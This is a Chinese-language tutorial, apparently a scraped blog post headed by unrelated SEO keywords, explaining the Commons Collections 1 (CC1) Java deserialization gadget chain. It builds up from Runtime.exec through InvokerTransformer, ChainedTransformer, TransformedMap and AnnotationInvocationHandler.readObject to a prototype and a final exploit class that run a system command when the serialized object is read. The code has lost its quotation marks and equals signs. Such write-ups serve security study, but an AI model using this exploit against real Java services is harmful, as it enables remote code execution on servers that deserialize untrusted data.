vps 一个ip 多个网站 软件 linux,网络推广培训推荐,互联网公司的网络运营,wordpress文章添加关注公众号一、梳理基本逻辑
WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据
用户编写恶意代码并将其序列化为原始数据流
WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化
当调用#xff1a; ObjectInputStream.readObject()
JVM 内部逻辑#xff1a; → 反…一、梳理基本逻辑
WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据
用户编写恶意代码并将其序列化为原始数据流
WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化
当调用 ObjectInputStream.readObject()
JVM 内部逻辑 → 反序列化 AnnotationInvocationHandler.class → 检查到类里定义了 private void readObject(ObjectInputStream) → 自动调用 readObject()
于是我们通过这个入口将整条链都执行了最后执行命令 二、CC1的基本形态构建
2.1、Runtime.getRuntime().exec()
Java执行系统命令的方式
正常写法
Runtime.getRuntime().exec(calc);
反射写法
Runtime r Runtime.getRuntime();
Class c Runtime.class;
Method execMethod c.getMethod(exec, String.class);
execMethod.invoke(r,calc); 2.2、InvokeTransformer.transform()
重写了Transformer接口的transform方法能执行命令 在InvokeTransformer()中传入待执行的方法名exec、类的类型String.class和具体命令calc
在InvokeTransformer的transform()中传入要执行方法的对象r
Runtime r Runtime.getRuntime();
// Class c Runtime.class;
// Method execMethod c.getMethod(exec, String.class);
// execMethod.invoke(r,calc);
new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);
其作用等价于
Runtime r Runtime.getRuntime();
Class c Runtime.class;
Method execMethod c.getMethod(exec, String.class);
execMethod.invoke(r,calc);
也等价于
Runtime.getRuntime().exec(calc); 2.3、TransformedMap.checkSetValue()
会调用transform - 需要通过TransformedMap.decorate()间接调用 可以看到图3调用了transform()方法
并且由图1知道该类是对Map进行处理的类为了达到我们想要的效果我们得自己构造一个Hash Map
而且可以看到图3最后是对valueTransformer进行操作的所以我们可以把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法 InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});
HashMapObject,Object map new HashMap();
MapObject,Object transformedMap TransformedMap.decorate(map,null,invokerTransformer);
所以当TransformedMap处理我们的对象时就会调用InvokeTransformer.transform()
也就是等价于
protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
} 2.4、MapEntry.setValue()
TransformedMap的抽象父类AbstractInputCheckedMapDecorator
中的MapEntry副类中的setValue()方法调用了checkSetValue() HashMap在遍历的时候一个键值对就叫Entry
MapEntry的setValue()实际上就是重写的Entry的setValue()
所以当遍历我们构造的transformedMap对象时就会走到MapEntry的setValue()方法
进而调用setValue()中调用的checkSetValue()
HashMapObject,Object map new HashMap();
map.put(key,value);
MapObject,Object transformedMap TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}
当transformedMap被遍历时就会执行命令 2.5、AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler重写了readObject()方法执行AnnotationInvocationHandler.readObject()时会调用setValue() 因为这个类的构造方法不是public所以我们要通过反射获取该类及其方法
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);
Constructor AnnotationInvocationHandlerConstructor c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); 三、整理内容
3.1、思路梳理正向
1、现在我们构建的这个对象会在反序列化的时候自动触发AnnotationInvocationHandler中的readObject()方法原理如下 2、当执行该重写的readObject()方法时会触发调用MapEntry.setValue()因为AnnotationInvocationHandler.readObject()的内部机制
当反序列化AnnotationInvocationHandler时会自动遍历我们传递的transformedMap从而执行MapEntry的setValue()方法
for (Map.EntryString, Object memberValue : memberValues.entrySet()) {memberValue.setValue(...); // ← 这里就触发了 transformedMap 的 checkSetValue()
}3、当MapEntry.setValue()被执行时会执行TransformedMap.checkSetValue()因为
TransformedMap.decorate()返回的Map包装了原始的entrySet()当调用entry.setValue()时其实是在调用TransformedMap.MapEntry.setValue()而这个方法正好调用了checkSetValue()
当遍历我们构造的transformedMap对象时就会走到MapEntry的setValue()方法
进而调用setValue()中调用的checkSetValue() 4、当TransformedMap.checkSetValue()被调用时会调用InvokeTransformer.transform()因为
我们把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法 而decorate()方法就会间接调用checkSetValue()然后间接调用InvokeTransformer.transform()相当于
protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
} 5、当InvokeTransformer.transform()被调用就基于我们实例化的Runtime对象r进行命令执行 3.2、EXP雏形
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec(calc);Runtime r Runtime.getRuntime();
// Class c Runtime.class;
// Method execMethod c.getMethod(exec, String.class);
// execMethod.invoke(r,calc);InvokerTransformer invokerTransformer new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc});HashMapObject,Object map new HashMap();map.put(key,value);MapObject,Object transformedMap TransformedMap.decorate(map,null,invokerTransformer);// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor AnnotationInvocationHandlerConstructor c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize(hacker.bin);}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss new ObjectOutputStream(new FileOutputStream(hacker.bin));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}} 四、问题处理
4.1、Runtime不能被序列化
我们跟进到Runtime里看一下发现它没有serializable接口不能被序列化 但是我们可以运用反射来获取它的原型类它的原型类class是存在serializable接口可以序列化 那么我们怎么获取一个实例化对象呢这里我们看到存在一个静态的getRuntime方法这个方法会返回一个Runtime对象相当于是一种单例模式 用反射构建一个Runtime对象能执行命令
//获取类原型
Class c Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod c.getMethod(getRuntime,null);//获取实例化对象因为该方法无无参方法所以全为null
Runtime r (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMehod c.getMethod(exec, String.class);
//实现命令执行
execMehod.invoke(r,calc);
因为我们最后执行是依靠InvokeTransformer.transform()所以要将上述代码进行变形使其用InvokeTransformer.transform()的形式呈现能执行命令
参考InvokeTransformer.transform()执行对象方法的原理 \\InvokeTransformer(方法).transform(对象)\\ //获取类原型
Class c Runtime.class;
//模拟获取getRuntime方法
Method getRuntimeMethod (Method) new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}).transform(Runtime.class);
//模拟获取invoke方法
Runtime r (Runtime) new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模拟获取exec方法并进行命令执行
new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc}).transform(r);
但是这样要一个个嵌套创建参数太麻烦了我们这里找到了一个Commons Collections库中存在的ChainedTransformer类它也存在transform方法可以帮我们遍历InvokerTransformer并且调用transform方法 Transformer[] transformers new Transformer[]{new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})
};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
4.2、AnnotationInvocationHandler类下的readObject方法的条件判断 这里memeberType是获取注解中成员变量的名称然后并且检查键值对中键名是否有对应的名称
而我们发现另一个注解Target中有个名为value的成员变量所以我们就可以使用这个注解 并改第一个键值对的值为value 4.3、AnnotationTypeMismatchExceptionProxy不能转换为Runtime.class
把上述问题解决后我们再观察因为AnnotationInvocationHandler.readObject()是入口当反序列化触发readObject()时该方法默认创建了一个对象AnnotationTypeMismatchExceptionProxy 可以发现链条虽然被触发了不过AnnotationTypeMismatchExceptionProxy这个对象最后传到ChainedTransformer类中是不能执行方法的我们想要的是获取Runtime.class对象
protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}
而不是
protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
} 所以我们需要把AnnotationTypeMismatchExceptionProxy改为Runtime.class
ConstantTransformer我们传入什么值就会返回什么值 这个类就能把AnnotationTypeMismatchExceptionProxy改为Runtime.class
在到达最后一步InvokeTransformer.transform()对某个对象执行其命令之前将Runtime.class作为对象输出给它 至此CC1链的问题就全部解决了。 五、最终EXP
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod,new Class[]{String.class,Class[].class},new Object[]{getRuntime,null}),new InvokerTransformer(invoke,new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer(exec,new Class[]{String.class},new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object map new HashMap();map.put(value,value);MapObject,Object transformed TransformedMap.decorate(map,null,chainedTransformer);Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor annotation c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o annotation.newInstance(Target.class,transformed);serialize(o);unserialize(ser.bin);}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss new ObjectOutputStream(new FileOutputStream(ser.bin));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois new ObjectInputStream(new FileInputStream(Filename));Object obj ois.readObject();return obj;}}